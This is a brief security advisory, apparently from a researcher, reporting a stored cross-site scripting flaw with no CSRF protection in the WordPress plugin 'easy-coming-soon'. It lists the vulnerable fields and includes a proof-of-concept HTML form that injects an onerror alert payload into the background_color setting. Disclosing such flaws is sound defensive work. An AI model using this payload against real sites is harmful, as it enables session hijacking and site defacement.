Hello,
1. Persistent Cross-Site Scripting (XSS)
Authenticated administrators can store html/js code in plugin configuration values (there is no CSRF protection!).
Method: POST
Vulnerable parameters: background_color, title_color, title_font_format, etc...
Example PHP callstack:
easy-coming-soon/theme_options/pages/design_page_settings.php:74
Verification:
--
<input type="text" name="commingsoon_lite_settings_save_2" value="1" />
<input type="text" name="background_color" value='"><img src=x onerror=alert(1) />' />
<input type="submit" />
</form>
--
--
Regards,
Marcin Probola,